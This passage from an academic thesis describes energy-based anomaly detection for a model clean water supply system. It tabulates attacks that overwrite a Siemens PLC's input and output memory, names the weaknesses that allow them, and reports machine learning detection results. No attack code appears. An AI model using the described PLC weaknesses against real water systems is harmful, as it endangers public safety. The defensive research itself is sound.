The set of the executed attacks to the ICS are listed in Table 6.4. The full 
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implementation of the attacks, including source code, can be found in Chapter 3. For 

instance, the attacker might modify the input memory of the ultrasonic sensor 

pretending that the current water level is lower than it is. Consequently, the control 

system will increase the speed of the pump, resulting in an increase of the water 

level above the setpoint for B102 tank. This might result in a tank overflow.  

Table 6.4 Set of attacks executed to the control system 

Attack Effect 

Changing Setpoint in the Working 

Memory 

Water Level Increases/Decreases 2-2.5 litres. It depends on the 

value sent from attacker to the Input Memory of the PLC. 

Attack on Ultrasonic Sensor 
Water Level Increases/Decreases. It depends on the value sent 

from attacker to the Input Memory of the PLC. 

Attack on Flow In 
Affects Pump Operation, consequently the water level in the 

reservoir tank. 

Attack on Pump Water level decreases 0.5-1 Litres. 

Attack on Flow Out Affects the Control Operation when using feedforward Controller. 

Attack on Pressure In 
Slightly affects the normal operation of the control system. The 

water level increases/decreases 0.1 - 0.2 litres. 

Attack on Pressure Out 

Affects the control operation when using a PI controller that takes 

the Pressure Out as Input for calculating the water level, 

otherwise this does not affect the control operation. 

 

G. Dataset 

The dataset was collected when the ICS was in operation for over 8 hours. 

Figure 6.8 shows the number of collected malicious and benign instances during the 

operation. The number of instances that belongs to the malicious class is 

represented by 35.72% of the entire dataset, whereas 64.28% belongs to the benign 

class. This shows an imbalanced dataset. One of the major problems of using 

machine learning on imbalanced datasets is obtaining a biased and inaccurate model 

(Han et al., 2005). To overcome the imbalance problem, we use Synthetic Minority 

Over-Sampling Technique (SMOTE) on the original dataset, a method that uses the 

k-nearest neighbour to produce new synthetic instances of the minority class 

(Chawla, N.V., Bowyer, K.W., Hall, L.O., 2002). As it can be seen in Figure 6.7, after 

employing SMOTE on our original dataset, Dataset I has an equal number of 

Malicious and Benign instances. Furthermore, SMOTE is used to create two more 
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Figure 6.7 Datasets 

 

datasets labelled as Dataset II and Dataset III which are also depicted in Figure 6.3. 

These datasets will aid us to evaluate the performance of the machine learning 

algorithms in the following sections.  

 

 

 

 

 

 

 

 

 

 

6.5 Machine learning experimental setup 

In order to evaluate the machine learning algorithms proposed in this Chapter, 

the computer simulations were performed using the method: stratified 5-fold cross-

validation with a suitable data split for training and testing. This method is widely 

used because the results are less biased and more realistic than other methods such 

as a simple train/test split. The following phases were adopter in order to clarify 

and answer hypothesis stated at the beginning of this Chapter. 

• Pre-processing Phase. 

i. Smoothing the voltage signal collected from the ultrasonic sensor 

by applying a digital filter. 

ii. Applying three different feature selection techniques for discarding 

redundant or low informative features. 

iii. Balancing the dataset by applying oversampling techniques such as 

SMOTE. 

iv. Splitting the data into training and testing datasets by using 5-fold 

cross-validation. 
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v. Normalizing or Standardizing the dataset depending on the 

selected Machine Learning algorithm. 

 

• Training & Testing Phase. 

i. Training the selected machine learning algorithm with the training 

dataset.  

ii. Obtaining the prediction results using the testing dataset.   

iii. Performance evaluation of the selected machine learning 

algorithms 

6.5.1 Preprocessing phase 

Data pre-processing is a data mining technique which is used to improve the 

quality of the raw data (Miao & Niu, 2016). This stage has a significant impact on the 

performance of supervised learning models because unreliable input could lead to 

obtaining incorrect results. For instance, in our scenario, the data collected from the 

ultrasonic sensor contains undesirable noise that might be misclassified in cases 

where it is not removed. In the following section, we describe the pre-processing 

stage which includes the de-noising phase and the feature selection process 

followed by an overview of the selected machine learning algorithms employed in 

this chapter. 

A. Dataset filtering process 

In this section, we explain the noise removal for the ultrasonic sensor involved 

in our CWSS physical testbed. External factors such as humidity and temperature 

could lead a sensor to fail in recognising the correct water level which adds wrong 

values, also called noise, to the dataset. The analogue level sensor, is fitted on the 

top of the reservoir tank. It uses sound waves above 20000 Hz, which is beyond 

human hearing, to measure the distance between the sensor and the water. The 

analogue signal is converted by means of a transducer into a standard (0-10v) 

electrical signal. In this scenario, the capacity of the water tank is 10 litres and the 

water is poured from the top of the tank. When the control system starts and the 
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tank is empty, the water bounces at the bottom of the tank. This process generates 

noise in the readings obtained from the ultrasonic sensor. The noise decreases as 

soon as the water in the reservoir tank starts to increase. However, it should be 

noted that the noise is always present in the signal obtained from the ultrasonic 

sensor, in smaller or bigger quantities.  

In a given system, machine learning algorithms may miss out patterns and 

provide wrong results when noise is presented. One common technique in signal 

preprocessing is the design and the use of filters in order to remove unwanted 

frequencies from electrical signals. There are a considerable number of filters for 

signal processing such as Low Pass Filter (LPF) (Niewiadomski, 1989a), High Pass 

Filter (HPF) (Niewiadomski, 1989b) and Band Pass Filter (BPF)(Niewiadomski, 

1989b). Although these filters are electrical circuits composed by resistors, 

amplifiers and capacitors, they can be digitally implemented by mathematical 

equations. In this research, a LPF is applied on the data collected from the ultrasonic 

sensor as its success has been proven in similar research such as (Hansen et al., 

2002; Hirai et al., 2019).  

The blue line in Figure 6.8 shows the signal obtained from the ultrasonic 

sensor without filtering. The signal contains a considerable amount of noise that 

might affect the performance of our selected machine learning algorithms. In Figure 

6.9, the yellow line shows the Ultrasonic sensor signal that we filtered with a 

normalised passband frequency of 0.001𝜋 𝑟
𝑠⁄  and a stopband attenuation of 60dB. 

As it is shown, this signal contains less noise than the original one, however, there 

are still remanences of noise. Please refer to (Lyons, 1996) for comprehensive 

explanations on normalised passband frequency and stopband attenuation. In order 

to remove as much noise as possible,  Butterworth LPF (Hansen et al., 2002)(Lyons, 

1996), which is a digital filter that has a flat response in the passband, is used  given 

that it has been successfully applied in similar researches (Hansen et al., 2002; Hirai 

et al., 2019). Butterworth LPF smooths the electrical signals with a frequency higher 

than the cutoff frequency. The cutoff frequency is the boundary between the desired 

and undesired frequencies.  It should be noted that the cutoff frequency does not 

define good or bad frequencies. The orange line in Figure 6.8 shows the ultrasonic 
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Figure 6.8 Raw ultrasonic level sensor signal 

sensor signal when the Butterworth LPF is applied which shows that this filter 

removes more noise than the simple LPF. 

 

 

 

 

 

 

 

 

 

B. Feature selection process 

In machine learning techniques, feature selection is a process of choosing the 

most relevant features that are useful in predicting the desired response (Novaković 

et al., 2011). In this research, twenty-four features were collected from six sensors 

located in the CWSS testbed. The features are shown in Table 6.5. The main aim of 

using feature selection techniques is to reduce the number of features to the most 

relevant ones for later use in building models based on machine learning algorithms. 

It should be noted that feature selection and feature extraction are two different 

concepts. Both techniques have the same aim of reducing the dimensionality of the 

dataset, however, the main difference is that feature selection keeps a subset of 

original features, while feature extraction creates new sets of features from the 

available ones (AlNuaimi et al., 2019). 
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Table 6.5 Features 

Feature Sensor Feature Sensor 

1. sh_ultra 

Ultrasonic 

Sensor 

13. sh_fo 

Flowmeter 

Out 
2. v_ultra 14. v_fo 

3. c_ultra 15. c_fo 

4. p_ultra 16. p_fo 

5. sh_pump 

Pump 

17. sh_pi 

Pressure 

In 
6. v_pump 18. v_pi 

7. c_pump 19. c_pi 

8. p_pump 20. p_pi 

9. sh_fi 

Flowmeter 

In 

21. sh_po 

Pressure 

Out 
10. v_fi 22. v_po 

11. c_fi 23. c_po 

12. p_fi 24. p_po 

 

The benefit of using feature selection before training a machine learning 

algorithm is the reduction of the dataset dimensionality, as a result, the time taken 

to build a machine learning model will be reduced. Further, another benefit worth 

pointing out is that feature selection will improve the machine learning metrics such 

as accuracy and precision (Miao & Niu, 2016). There is a considerable number of 

feature selection techniques to perform feature selection such as lasso regression, 

step wise forward and backward selection (Aljawarneh et al., 2018) (Pajouh et al., 

2018) (Sumaiya Thaseen & Aswani Kumar, 2017) (Chandra et al., 2014). However, 

in this experiment, we selected Information Gain, Chi-Square and Correlation Based 

described based on their popularity in the similar researches describes in Chapter 

2. 

6.1.1.1 Information gain. 

Information Gain (IG) measures the amount of information that a feature gives 

about a class (Chandra et al., 2014). It measures the reduction in entropy, which can 

be defined as the information and the degree of uncertainty of random variables. IG 

tells how important an attribute is and it will be used for discriminating between 

the classes to be learned (Novaković et al., 2011). The IG scores are calculated as 

follows: 
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𝐼𝐺 = 𝐸𝑛𝑡𝑟𝑜𝑝𝑦(𝑃𝑎𝑟𝑒𝑛𝑡) − [𝑊𝑒𝑖𝑔ℎ𝑡𝑒𝑑 𝐴𝑣𝑒𝑟𝑎𝑔𝑒] ∗ 𝐸𝑛𝑡𝑟𝑜𝑝𝑦(𝐶ℎ𝑖𝑙𝑑𝑟𝑒𝑛)       

 

The Entropy (parent) is calculated using Eq. (2), where 𝑐𝑗  is the number of 

malicious or benign examples in the dataset divided by the total of examples of the 

labelled feature. 

𝐸𝑛𝑡𝑟𝑜𝑝𝑦(𝑃𝑎𝑟𝑒𝑛𝑡) = − ∑ 𝑃(𝑐𝑗) log2 𝑃(𝑐𝑗)

𝑚

𝑗=1

 

 

IG constructs a one-level decision tree from the values of each feature. The 

Entropy (children) is calculated from these child nodes using the Eq. (2). The 

Weighted Average in Eq 1 is calculated by the sum of the number of examples in 

each node divided by the number of examples in the parent node and multiplied by 

the entropy of each node. Eq. (3) shows how to obtain the Weighted Average and 

the Entropy (children) where k is the number of nodes; N denotes the number of 

examples in the node and the total number of examples in the parent node is 

represented by t.  

[𝑊𝑒𝑖𝑔ℎ𝑡𝑒𝑑 𝐴𝑣𝑒𝑟𝑎𝑔𝑒] ∗ 𝐸𝑛𝑡𝑟𝑜𝑝𝑦(𝐶ℎ𝑖𝑙𝑑𝑟𝑒𝑛) =  ∑
𝑁𝑗

𝑡
𝑃(𝑐𝑗) log2 𝑃(𝑐𝑗)

𝑘

𝑗=1

 

 

Figure 6.9 shows the score for each variable after applying IG feature selection 

technique on our novel dataset. According to IG calculation and as shown in Figure 

6.5 the features: 2. v_ultras, 3. c_ultras, 1. sh_ultras, 22. v_po, 4. p_ultras, 10. v_fi, 14. 

v_fo, 8. p_pump, 7. c_pump, 5. sh_pump and 6. v_pump obtained higher scores. Hence, 

they have more impact over the class variable, and it might require closer attention 

when selecting the features for the classification process using the machine learning 

algorithms. This will be fully analysed later in this chapter.  

 

(Eq. 3) 

(Eq. 2) 

(Eq. 1) 
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Figure 6.9 Information gain scores 

 

 

 

 

 

 

 

 

 

6.1.1.2 Chi-square. 

 

Chi-Square is another popular method of feature selection technique. It applies 

the statistical 𝑋2 in order to measure the independence of two events. In feature 

selection, these two events are an occurrence of the feature and occurrence of the 

class (Jović et al., 2015). The value of 𝑋2 is high when the two events are dependent. 

It means that the feature is correlated with the class and it should not be discarded. 

The higher the value of 𝑋2, the more relation that the feature has with the class 

(Novaković et al., 2011). Eq. (4) shows the formula that obtains the value of 𝑋2, 

where N denotes the total number of instances, A represents the number of positive 

instances that contain feature f, B is the number of negative instances that contain 

feature f, C is the number of positive instances that do not contain feature f, and D 

denotes the number of negative instances that do not contain feature f.  

 

𝑋2 =
𝑁(𝐴𝐷 − 𝐵𝐶)2

(𝐴 + 𝐶)(𝐵 + 𝐷)(𝐴 + 𝐵)(𝐶 + 𝐷)
 

 

Figure 6.10 shows the chi-square scores for all the features in our dataset. As 

it is hown, the features: 8. p_pump, 7. c_pump, 4. p_ultras, 5. sh_pump, 2. v_ultras, 10. 

(Eq. 4) 
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Figure 6.10 Chi-square scores 

v_fi, 11. c_fi, 22. v_po, 3. c_ultras, 14. v_fo, 12. p_fi obtained a significant score 

compared to the rest of the features.  

 

 

 

 

 

 

 

 

 

6.1.1.3 Correlation based. 

 

Correlation-Based is a feature selection technique for classification tasks in 

Machine Learning. It examines each feature individually in order to determine the 

relationship of the feature with the corresponding class (Jović et al., 2015). Each 

feature is ranked according to the achieved correlation score 𝑟𝑥,𝑦. The correlation is 

calculated using Pearson’s correlation formula described in Eq (5). 

  

𝑟𝑥,𝑦 =
∑ (𝑋𝑖 − �̅�)(𝑌𝑖 − �̅�)𝑛

𝑖=1

√∑ (𝑋𝑖 − �̅�)2𝑛
𝑖=1 √∑ (𝑌𝑖 − �̅�)2𝑛

𝑖=1

 

 

Eq (5) represents the division of the covariance by the product of the standard 

deviation of a feature 𝑋𝑖 and class 𝑌. The correlation coefficient ranges from -1 to 1 

where a value closer to 0 means weaker correlation, closer to 1 means positive 

correlation, and closer to -1 means negative correlation (Novaković et al., 2011). 

Figure 6.11 shows a heatmap which indicates the correlation among the features in 

(Eq. 5) 
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Figure 6.11 Mutual relationship scores 

Figure 6.12 Feature selection correlation-dased (pearson's score) 

the dataset. The last row indicates the relationship between the class, which is called 

detection, and the rest of the features. For instance, the features p_ultras and v_pi 

shows a higher relationship than the other variables and it is represented by a 

darker green colour as shown in Figure 6.11. The score obtained from each feature 

according to the degree of relationship between the feature and the class is shown 

in Figure 6.12. Further, in the same graph, the features that obtained a high 

relationship with the class variable are 4. p_ultras, 18. v_pi, 6. v_pump, 8. p_pump 22. 

v_po, 7. c_pump, 2. v_ultras, 1. sh_ultras, 5. sh_pump, 3. c_ultras, 11. c_fi, 14. v_fo, 10. 

v_fi. When it comes to select features, it is recommended to obtain the absolute value 

from each score because a negative correlation, such as the score obtained from the 

feature p_pump, does not indicate that the feature should be discarded.  

 

 

 

 

 

 

 

 

 

 

 

 

C. Selected features 

Each feature selection method measures the relevance of the features 

depending on its correlation with the dependent variable. Figure 6.13 shows the 
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Figure 6.13 Selected features 

features that obtained the highest scores in three feature selection techniques 

described above. Additionally, it represents the features that each algorithm has in 

common. For instance, the features: 14. v_fo, 4. p_ultras, 3. c_ultras, 22. v_po, 8. 

p_pump, 2. v_ultras, 10. v_fi, and 5. sh_pump are among those that obtained higher 

scores in three feature selection techniques. Furthermore, the features that IG and 

Correlation Base have in common are: 18. v_pi, 6. v_pump and 1. sh_ultrasonic. The 

Chi-Square is the only one that chose the feature 12. p_fi.  

A condition for evaluating the relation of features with the dependent variable 

is analysing density curves for the malicious and benign traces (O’Kane et al., 2013).  

Figure 6.14 and Figure 6.15 shows the density of malicious and benign events 

in the following features: voltage in the ultrasonic sensor (2. v_ultras) and power in 

the pump (8. p_pump). These features are ranked with high scores according to our 

three feature selection techniques (IG, X2, and Correlation-Based). Both features are 

suitable for feature classification because the peak of the curve for malicious and 

benign traffic are opposite of each other. Figure 6.16 and Figure 6.17 show features 

with a low score such as Voltage in the shunt resistor that monitors the Pressure Out 

and Pressures In sensor (21. sh_po, 17. sh_pi). The malicious and benign 

distributions are completely overlapped; hence, these features are not suitable to be 

considered for classification.  
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Figure 6.17 Density plot for power in the pump 

Figure 6.15 Density plot for voltage in the 
ultrasonic sensor 

Figure 6.16 Density plot for shunt in the pressure 
out sensor. 

Figure 6.14 Density plot for  shunt in the 
pressure in sensor 

 
  
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 

 
 

 

6.6 Practical approach 

The experiments proposed in this chapter are benchmarked against five 

popular classifiers used in similar research: DT, NB, MLP, KNN and SVM. The results 

obtained from the classifiers are evaluated in order to verify Hypothesis 1 discussed 

in Section 6.2. The dataset collected from our CWSS physical testbed includes 

equipment such as: Siemens S7-1500 PLC, sensors and actuators, all currently used 

in industry. Further, two more datasets are created in order to evaluate the results 

obtained from the selected machine learning algorithms when the dataset size 

grows. The datasets are described in section 6.3. Moreover, three well-known 

feature selection techniques are assessed in order to validate Hypothesis 2. 
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The experiments described in this Chapter, were executed in a Laptop 

MacBook Pro with 2.9 GHz Intel Core i7 and 16 GB 1600 MHz DDR3 of RAM memory. 

The five selected machine learning algorithms were implemented in the python-

based web application called Jupyter (Ragan-Kelley et al., 2014). To estimate the 

performance of the ML algorithms the statistical method called k-fold cross-

validation procedure was used (i.e. 5-fold cross validation) where the given dataset 

is to be split into k smaller dataset and then average value is computed. The 

experimental design considered the features from the CWSS dataset that obtained 

the highest scores in each of the feature selection methods described in the previous 

sections.  

The metrics used to evaluate the performance of the machine learning 

algorithms are F1-Score, Geometric Mean (G-Mean), False-Positive Rate (FPR), 

False-Negative Rate (FNR), Time Taken to Build the Model, and Time Taken to Test 

the Model. F1-Score is a harmonic balance of the precision and recall. We chose the 

F1-Score metric over Precision because F1-Score is not affected by the large number 

of true negatives that our model could provide. 

G-Mean is a performance metric that combines the True Negative Rate (TNR) 

and True Positive Rate (TPR). A low G-Mean score indicates that the performance of 

the machine learning algorithm is poor. Additionally, given that triggering a false 

positive alarm or a false negative alert in critical infrastructure might have a more 

significant impact in comparison with traditional computer networks. False Positive 

Rate (FPR) and False-Negative Rate (FNR) are considered as important metrics to 

evaluate the performance of our machine learning models.  

Moreover, it is also important to evaluate two important metrics of: Time 

Taken to Build the Model and the Time Taken to Test the Model. They have been 

chosen as it is vital to predict an attack on ICS as fast as possible in order to avoid 

irreversible damage. For instance, attacking a water treatment system may involve 

the manipulation of the water chlorination. Modifying the dosage of chlorine in the 

water would put many lives in great danger. On the other hand, the time taken to 
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build the model may not be required to be quick, except in circumstances where it 

is required to update the model on the fly. 

6.7 Result analysis 

This section presents the analysis and discussion of the results obtained from 

the five selected machine learning algorithms and three feature selection methods 

given six performance metrics as discussed before. Table 6.6 shows the results 

obtained from the machine learning algorithms after employing all the features and 

also once hiring the ones chosen by each feature selection technique. Table 6.7 and 

Table 6.8 show the same results as described above but obtaining from Dataset II 

and Dataset III, both respectively. 

According to the results shown in Table 6.6, the Correlation-Based and IG, as 

two feature selection techniques, slightly improve the performance of the Naïve 

Bayes algorithm in terms of F1-Score from 89.4%, when the entire dataset is used, 

to 90.8%, with only chosen features. However, the Time Taken to Build the Model 

and the Time Taken to Test the Model, do not show a significant difference for Naïve 

Bays algorithm in all the scenarios. Moreover, the F1-Score for the MLP algorithm is 

improved from 95%, when the entire dataset is used, to 95.4%, when only selected 

features by the chi-square are employed.  
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Table 6.6 Results obtained from dataset I 

Feature 

Selection 

Technique 

Algorithm 
F1 

Score 
G-Mean FPR FNR 

Time 

Taken to 

Build the 

Model (s) 

Time 

Taken to 

Test the 

Model (s) 

Information 

Gain 

Decision Tree 0.935 0.936 0.019 0.106 1.106 0.003 

Naïve Bayes 0.908 0.912 0.019 0.152 0.134 0.021 

Multilayer Perceptron 0.95 0.951 0.02

9 

0.06

8 

10.144 0.006 

KNN 0.916 0.918 0.051 0.113 2.103 4.112 

SVM 0.95 0.951 0.015 0.082 819.341 105.368 

Chi Square 

Decision Tree 0.935 0.936 0.019 0.106 0.914 0.003 

Naïve Bayes 0.886 0.891 0.016 0.193 0.135 0.019 

Multilayer Perceptron 0.954 0.955 0.01

7 

0.07

2 

9.776 0.005 

KNN 0.916 0.918 0.051 0.113 2.01 4.058 

SVM 0.956 0.957 0.014 0.072 720.915 96.698 

Correlation 

Based 

Decision Tree 0.935 0.936 0.019 0.106 1.139 0.003 

Naïve Bayes 0.908 0.912 0.019 0.152 0.141 0.021 

Multilayer Perceptron 0.953 0.954 0.01

9 

0.07

2 

10.336 0.006 

KNN 0.916 0.918 0.051 0.113 2.356 4.285 

SVM 0.957 0.957 0.014 0.07 743.715 101.966 

No Feature 

Selection 

Method 

Decision Tree 0.935 0.936 0.019 0.106 1.435 0.005 

Naïve Bayes 0.894 0.899 0.017 0.178 0.181 0.038 

Multilayer Perceptron 0.95 0.954 0.01

5 

0.07

6 

11.901 0.008 

KNN 0.916 0.918 0.051 0.112 3.299 4.847 

SVM 0.961 0.962 0.013 0.063 1181.682 162.983 
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Table 6.7 Results obtained from dataset II 

Feature 

Selection 

Technique 

Algorithm 
F1 

Score 
G-Mean FPR FNR 

Time to 

Build the 

Model (s) 

Time 

Taken to 

Test the 

Model (s) 

Information 

Gain 

Decision Tree 0.939 0.94 0.018 0.099 2.952 0.006 

Naïve Bayes 0.908 0.912 0.019 0.152 0.257 0.045 

Multilayer 

Perceptron 

0.955 0.956 0.025 0.063 20.794 0.013 

KNN 0.945 0.946 0.038 0.071 6.376 8.683 

SVM 0.954 0.955 0.015 0.075 3499.471 421.428 

Chi Square 

Decision Tree 0.939 0.94 0.018 0.099 2.512 0.006 

Naïve Bayes 0.885 0.891 0.016 0.194 0.272 0.044 

Multilayer 

Perceptron 

0.958 0.959 0.017 0.065 20.639 0.013 

KNN 0.945 0.946 0.038 0.071 6.119 8.519 

SVM 0.953 0.954 0.014 0.077 3313.695 428.312 

Correlation 

Based 

Decision Tree 0.939 0.94 0.018 0.099 3.072 0.007 

Naïve Bayes 0.908 0.912 0.019 0.153 0.282 0.049 

Multilayer 

Perceptron 

0.958 0.959 0.017 0.065 21.405 0.014 

KNN 0.945 0.946 0.038 0.071 6.997 9.241 

SVM 0.954 0.955 0.014 0.076 3482.824 443.72 

No Feature 

Selection 

Method 

Decision Tree 0.939 0.94 0.018 0.099 4.323 0.009 

Naïve Bayes 0.894 0.899 0.017 0.178 0.393 0.079 

Multilayer 

Perceptron 

0.952 0.953 0.015 0.078 24.045 0.017 

KNN 0.946 0.947 0.037 0.069 9.467 10.298 

SVM 0.95 0.951 0.013 0.084 6100.745 733.347 

 

The Time Taken to Build the Model for this algorithm is reduced by 2 seconds 

and the Time Taken to Test the Model remains below 1 second. It should be noted 

that the SVM does not improve in terms of F1-Score or G-mean metrics, however 

reducing the number of features aids to reduce the computational time to 6 minutes 

for the Time Taken to Build the Model and 1 minute for the Time Taken to Test the 

Model. The results obtained from the machine learning algorithms on dataset II are 

shown in Table 6.8. The KNN algorithm shows considerable improvement on 

dataset II.  F1-Score and G-mean metrics on dataset I, achieved 91.6% and 91.8% 

both respectively while on dataset II it achieves 94.5% and 94.6%. 
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Table 6.8 Results obtained from dataset III 

Feature 

Selection 

Technique 

Algorithm 
F1 

Score 
G-Mean FPR FNR 

Time to 

Build the 

Model (s) 

Time 

Taken to 

Test the 

Model (s) 

Information 

Gain 

Decision Tree 0.94 0.942 0.018 0.097 4.81 0.008 

Naïve Bayes 0.908 0.912 0.019 0.153 0.352 0.066 

Multilayer 

Perceptron 

0.955 0.956 0.029 0.059 30.295 0.02 

KNN 0.959 0.959 0.029 0.053 12.181 13.126 

SVM 0.954 0.955 0.013 0.075 7117.861 865.213 

Chi Square 

Decision Tree 0.94 0.942 0.018 0.097 4.071 0.009 

Naïve Bayes 0.885 0.891 0.016 0.193 0.367 0.061 

Multilayer 

Perceptron 

0.96 0.96 0.017 0.062 30.509 0.02 

KNN 0.959 0.96 0.029 0.052 11.639 12.777 

SVM 0.953 0.954 0.013 0.077 7391.045 866.156 

Correlation 

Based 

Decision Tree 0.94 0.942 0.018 0.097 5.019 0.009 

Naïve Bayes 0.908 0.912 0.019 0.153 0.385 0.071 

Multilayer 

Perceptron 

0.958 0.958 0.018 0.064 30.701 0.021 

KNN 0.959 0.96 0.029 0.052 13.485 14.051 

SVM 0.954 0.955 0.013 0.076 140920.919 909.082 

No Feature 

Selection 

Method 

Decision Tree 0.94 0.942 0.018 0.097 7.228 0.014 

Naïve Bayes 0.894 0.899 0.017 0.179 0.598 0.114 

Multilayer 

Perceptron 

0.953 0.954 0.015 0.076 35.172 0.025 

KNN 0.961 0.961 0.028 0.05 17.67 15.826 

SVM 0.95 0.951 0.012 0.085 12946.696 1476.491 

 

It can be seen in Table 6.7 that the Time to Build the Model and the Time to 

Test the Model are increased by a factor of 2 or even sometimes more for the five 

algorithms. Table 6.8 shows the results obtained from dataset III. Both F1-Score and 

G-mean metrics obtained by the MLP algorithm on dataset III with the features 

provided by the Chi-Square achieved 96%. This outperforms the scores of 95.3% 

and 95.4% achieved by the MPL algorithm when the entire dataset is used. The Time 

to Build the Model and the Time to Test the Model are increased by the factor of 2 

and 4, both respectively, compared to dataset II and dataset I. For instance, it can be 

seen in Table 6.6 that the F1-Score and G-mean metrics from the Naïve Bayes and 
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MLP algorithm both show an improvement compared to the results obtained when 

the algorithms are trained with the entire dataset.  

As Table 6.8 shows, the results obtained from the rest of the algorithms do not 

show an improvement, however, the F1-Score and G-mean metrics obtained from 

the algorithm trained with the feature selection techniques are equal to the results 

obtained from the entire dataset.  

6.8 Discussion 

In this section, the scientific hypothesis described at the beginning of this 

chapter are discussed. 

Hypothesis 1. The newly engineered energy-based features obtained from 

monitoring the energy consumption of sensors and actuators that compose an ICS 

allows the detection of anomalies by using supervised machine learning algorithms. 

The evaluation of the machine learning algorithms described in the previous 

section demonstrates the feasibility of classifying anomalous activity on a model of 

a clean water system by monitoring the energy of the actuator/sensors that 

compose the control system. The algorithms that show the best performance 

regarding F1-Score are MLP and SVM for three datasets. Although, SVM requires 

significantly more time than MLP in building the machine learning model.   

Hypothesis 2. The newly energy-based dataset collected from the physical testbed 

contains features that do not contribute to the metrics of a predictive model, making 

them less relevant than others. 

The feature selection process applied on the dataset obtained from the testbed 

used in this research is described in section III. Our results demonstrate that the 

dataset contains features that do not contribute to the machine learning model. 

Addressing our results, removing those features aid to improve metrics such as: 

Time to Build the Model and Time to Test the Model. 
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6.9 Conclusions 

This Chapter describes a new approach based on energy monitoring of the 

endpoints from a control system in order to detect anomalies. We start by carrying 

out a proof of concept, in which we obtain information from two INA219 current 

sensors connected to the original version of the Festo Rig. Afterwards, the readings 

from the sensors are collected with a raspberry pi4. The information obtained from 

the sensors is tagged as benign or malicious then classified using three different 

machine learning algorithms. Each algorithm was tuned with different parameters. 

The Random Forest algorithm provides the best results during the classification 

phase in comparison with SVM, MLP, KNN and NB. The data is obtained from a real 

testbed designed and implemented at Edinburgh Napier University. The novel 

attacks were conducted to the control system implemented in Festo MPA Process 

Control rig. This system emulates a clean water supply. It can be seen that an attack 

on the reservoir tank set point results in a water outage for the user. In addition, it 

can be seen that applying supervised machine learning to the energy consumption 

of the pump and solenoid valve of a downscaled clean water supply system permits 

to detect anomalous behaviour. 

The results obtained from the machine learning algorithms during the 

execution of the initial proof of concept demonstrate the feasibility of detecting 

anomalies through energy monitoring. To develop this concept, we added a total of 

six INA219 current sensors to the modified version of the Festo Rig. The results 

obtained from the second part of experimentation show the feasibility of using this 

approach for anomaly detection using a wider range of machine learning algorithms 

than the initial proof of concept. Further, the feature selection techniques applied to 

the energy-based dataset did successfully remove features that did not contribute 

to the machine learning model. One of the visible advantages of feature selection is 

the reduction of computational time for heavy algorithms such as SVM and KNN. For 

instance, on SVM the Time Taken to Build the Model is reduced by 37% when the 

correlation-based technique is applied to the dataset. The performance of the 

machine learning algorithms achieved an F1 Score of 90% overall. In our scenario, 
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we focus on obtaining a high detection rate along with the lowest FPR and FNR. 

Bearing that in mind, the algorithm that meets those requirements is Multilayer 

Perceptron (MLP) which achieves 95% F1 score, 2.9% FPR and 6.8% FNR, when 

Information Gain is applied on the dataset. 
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Chapter 7:  Real-time anomaly detection using machine 
learning and a novel energy-based dataset 

7.1 Introduction 

This Chapter proposes a real-time energy-based anomaly detection 

system for a model of a clean water supply system. The physical 

testbed used during the experimentation phase represents a model of 

a clean water supply system on the FESTO MPA Control Process Rig. A 

set of attacks to the testbed is conducted during the control process 

operation. During the attacks, the energy level of the components is 

monitored and recorded to build a novel dataset for training and 

testing a total of five traditional supervised machine learning 

algorithms: K-Nearest Neighbour, Support Vector Machine, Decision 

Tree, Naïve Bayes and Multilayer Perceptron. The trained machine 

learning algorithms were built and deployed online during the control 

system operation for further testing. The performance obtained from 

offline and online training and testing phases are compared. The 

captured results show that KNN and SVM outperformed the rest of the 

algorithms by achieving high accuracy scores and low false-positive, 

false-negative alerts. The results have been presented and published 

in IEEE WCCI 2020 conference. 

 

7.2 Research approach 

This chapter proposes an Energy-Based Intrusion Detection System (EBIDS) 

for a model of a clean water supply system. The EBIDS is composed of five machine 

learning algorithms such as: Support Vector Machine (SVM), K-Nearest Neighbour, 

Random Forest, Multilayer Perceptron (MLP) and Naïve Bayes which were 

explained in Chapter 6, employed on a novel dataset obtained from the testbed 

explained in Chapter 4. The aim of the EBIDS is to detect and alert anomalies in the 

operation of the control system.  
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Research Question 1. How does the performance (accuracy, false negative and false 

positive) of the ML models obtained from the offline training differ from its 

performance obtained during the online training in a model of a clean water supply 

system? 

Research Question 2. Is it possible to create an anomaly detection mechanism at 

the lowest level of a control system by only taking into account the relevant energy-

based features? 

7.2.1 Testbed  

We use the CWSS physical testbed, explained in Chapter 4, to obtain the dataset 

that will be used throughout this chapter. In normal operation, the CWSS physical 

model aims to maintain the required water level setpoint in the B102 tank. The 

CWSS testbed is explained in detail in Chapter 4. To achieve this, the water stored in 

the B101 tank is pumped via a variable speed drive so that the required water level 

of the tank can be maintained while the demand from it varies throughout the valve 

(V106). We propose a water demand model for the seven days of a week, which is 

based on the real model of power consumption in the UK (NORDPOOL, 2018). We 

keep this water demand model simplistic, so it could be reproduced in the future.  

The set of attacks carried out on the testbed overwrite the input and output 

memory of the PLC with the aim to interrupt the operation of the control system. 

The intruder can execute these attacks remotely. However, for this, the intruder 

needs to be connected to the same network as the PLC. As described in Chapter 3, 

the main vulnerability of the Siemens S7-1500 PLC is the fixed addressing of the 

input and output memory spaces in addition to the lack of validation for the 

incoming connections. These two weaknesses allow the execution of remote attacks 

to the PLC. More details of these novel attacks can be found in Chapter 3 of this 

thesis. 
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7.3 ICS architecture and EBIDS  

Historically, ICS devices such as PLCs and I/Os were not networked and lacked 

the computing and communication capabilities (Kamel & Kamel, 2014). The emerge 

of Industry 4.0 (Schlechtendahl et al., 2015) has led to developing ICS devices able 

to exchange data over the Internet. Further, the convergence of IT and ICS networks 

allow to manage, monitor and control industrial processes from remote locations. 

Figure 7.1 shows a typical architecture of an IT and ICS combined network with 

security devices such as firewalls placed at the highest levels. 

 

When it comes to cybersecurity, defence in depth (Pretorius & van Niekerk, 

2016) is one of the well-known approaches comprising of a series of defensive 

mechanisms that are layered in the network in order to protect the assets. For 

instance, Figure 7.1 shows one firewall inspecting the incoming/outgoing traffic 

from the internet whereas the firewall located at level 3 prevents unauthorised 

communication between the corporate and control network. 

 

The energy-based IDS (EBIDS) proposed in this chapter aims to add an extra 

layer of protection to the control system, therefore it is placed at level 1 and hard-

wired to the PLC/Sensors, as shown in Figure 7.1. Hence, the architecture of the 

EBIDS proposed in this chapter makes it not accessible from the IC/ICS network. 

 

7.3.1 Dataset 

The dataset contains malicious and benign traffic that is recorded during a 

one-day operation. The EBIDS is tested using the dataset collected from the CWSS 

